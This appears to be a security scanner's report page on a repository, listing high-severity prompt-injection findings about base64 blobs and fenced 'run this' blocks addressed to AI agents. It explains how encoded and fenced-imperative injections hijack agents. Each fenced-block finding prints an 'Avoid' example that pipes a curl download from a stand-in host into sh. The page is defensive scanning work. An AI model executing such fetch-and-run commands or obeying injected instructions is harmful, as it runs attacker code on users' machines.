packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9050
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9123
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9166
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9206
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9247
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9288
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9329
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9370
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9412
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9452
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9492
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9530
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9570
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9609
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9650
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9691
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9731
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9771
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9810
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9846
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9884
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9920
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9958
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L9994
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L10031
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L10067
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L10105
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L10141
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L10178
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
L10214
packages/core/src/__tests__/fixtures/conformance/cgr-attestation-v4/vectors.json
How to fix
Remove the encoded blob, or decode it and review what it actually contains.
  1. Decode the base64 string and confirm it is not an instruction directed at the agent.
  2. Move any legitimate binary or signature data into a dedicated file (*.sig, SIGNATURES) outside the documentation.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-B64-PAYLOAD-01sha2566db7a421588d203e…rubric 365aacaView on GitHub
HIGHLong base64-encoded blob hidden in the skill documentationSS-SKILL-INJECT-B64-PAYLOAD-01 · Prompt injection · packages/mcp-audit/delegation-cert.json
HIGH — once decoded by the agent, an encoded payload has the same impact class as plain-text injection.
Why it matters

A base64 string of 128+ characters appears in a documentation file. Encoded prompt injection hides the hostile instruction in base64 — invisible to keyword filters — and relies on the agent's ability to decode it at runtime. There is no normal authoring reason to embed a multi-hundred-byte base64 blob in skill docs.

The exact value spotted
excerptpackages/mcp-audit/delegation-cert.json· json
24"max_ops_per_hour": 1000
25},
26"principal_signature": "9387941343081971ee0ce60031de7aa9b1014023f8f581cae8edd2120bbfb0590c2d
… (61 chars elided on L26)
27}
Occurrences
1 occurrence · at L26
How to fix
Remove the encoded blob, or decode it and review what it actually contains.
  1. Decode the base64 string and confirm it is not an instruction directed at the agent.
  2. Move any legitimate binary or signature data into a dedicated file (*.sig, SIGNATURES) outside the documentation.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-B64-PAYLOAD-01sha2560808389f0a8b850f…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · docs/docs/hive/quick-start.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptdocs/docs/hive/quick-start.md· markdown
18```bash
19npx @gns-foundation/hive-worker join
20```
21 
22On first run this:
231. Generates an Ed25519 keypair and stores it at `~/.hive/identity.json` (mode 600)
242. Detects your hardware: CPU, GPU, RAM, estimated TFLOPS
253. Resolves your location to an H3 Resolution-6 cell via IP geolocation
264. Registers your device in the swarm registry (Supabase)
Occurrences
1 occurrence · at L18
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha256a49140372c5fe0df…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · docs/docs/integrations/langchain.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptdocs/docs/integrations/langchain.md· markdown
12```bash
13npm install langchain-gns-aip @gns-aip/sdk
14```
15 
16## Quick Start
17 
18```typescript
19import { GNSAgentIdentity } from 'langchain-gns-aip';
20 
Occurrences
1 occurrence · at L12
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha256ecba377f18ce410b…rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
✓—All community checks passedNo findings in this category for the latest scan.pass
Vendor response · right of reply
Are you the maintainer? Submit a response →

Audit the pieces. Scan the whole. Decide.

~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.